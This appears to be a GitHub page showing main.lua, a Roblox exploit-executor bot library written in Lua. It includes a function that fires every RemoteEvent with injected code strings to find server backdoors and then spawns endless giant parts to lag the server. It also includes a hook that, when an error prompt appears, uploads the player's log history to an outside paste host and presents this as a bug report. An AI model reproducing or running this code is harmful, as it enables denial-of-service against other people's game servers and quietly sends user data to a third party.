-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.lua
90 lines (73 loc) · 2.86 KB
/
main.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
--[[
Made by AtKnSploits and OnlySploits
--]]
local StarterGui = game:GetService("StarterGui")
local TeleportService = game:GetService("TeleportService")
local Player = game.Players.LocalPlayer
local Chat = game:GetService("Chat")
local vu = game:GetService("VirtualUser")
local LogService = Game:GetService('LogService')
local history = LogService:GetLogHistory()
function sendReport(paste)
local response = syn.request({Url = "https://hastebin-plus.herokuapp.com/documents",Method = "POST",Headers = {["Content-Type"] = "application/json"},Body = paste})
local key = string.split(response.Body, '"')
return "https://hastebin-plus.herokuapp.com/"..key[4]
end
getgenv().kickedd = game:GetService("CoreGui").RobloxPromptGui.promptOverlay.ChildAdded:Connect(function(child)
if child.Name == 'ErrorPrompt' and child:FindFirstChild('MessageArea') and child.MessageArea:FindFirstChild("ErrorFrame") then
local concat = {}
for i = 1, #history do
concat[#concat + 1] = history[i].message;
end
messagebox("do you like report this error to developers?\nyour report file: "..sendReport(table.concat(concat, '\n')).."\nplease contact to developers\ndiscord: only#1337","looks like a error",0)
end
end)
function waitr(r1,r2)
wait(math.random(r1,r2))
end
local Bot = {}
function Bot.walkto(pos1,pos2,pos3)
game.Players.LocalPlayer.Character.Humanoid:MoveTo(Vector3.new(pos1,pos2,pos3))
end
function Bot.jump()
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end
function Bot.sit(tof)
game.Players.LocalPlayer.Character.Humanoid.Sit = tof
end
function Bot.exit()
game:Shutdown()
end
function Bot.chat(msg)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(msg,"All")
end
function Bot.findbackdoorandlag(path)
for i,v in pairs(path:GetDescendants()) do
if v:IsA("RemoteEvent") then
v:FireServer("Instance.new('Part',workspace).Name = 'BACKD00R'")
if workspace:WaitForChild("BACKD00R") then
v:FireServer("while wait() do Instance.new('Part',workspace).Size = Vector3.new(200,200,200) end")
end
end
end
end
function Bot.join(place, jobId)
game.Players.LocalPlayer:Kick("Joining..")
game:GetService("TeleportService"):TeleportToPlaceInstance(place, jobId, game.Players.LocalPlayer)
end
function Bot.rejoin()
game.Players.LocalPlayer:Kick("Rejoining..")
TeleportService:TeleportToPlaceInstance(game.placeId, game.jobId, game.Players.LocalPlayer)
end
function Bot.equip(name)
game.Players.LocalPlayer.Backpack[name].Parent = game.Players.LocalPlayer.Character
end
function Bot.unequip(name)
game.Players.LocalPlayer.Character[name].Parent = game.Players.LocalPlayer.Backpack
end
function Bot.kill()
game.Players.LocalPlayer.Character.Humanoid.Health = 0
end
function Bot.run(scr)
loadstring(scr)()
end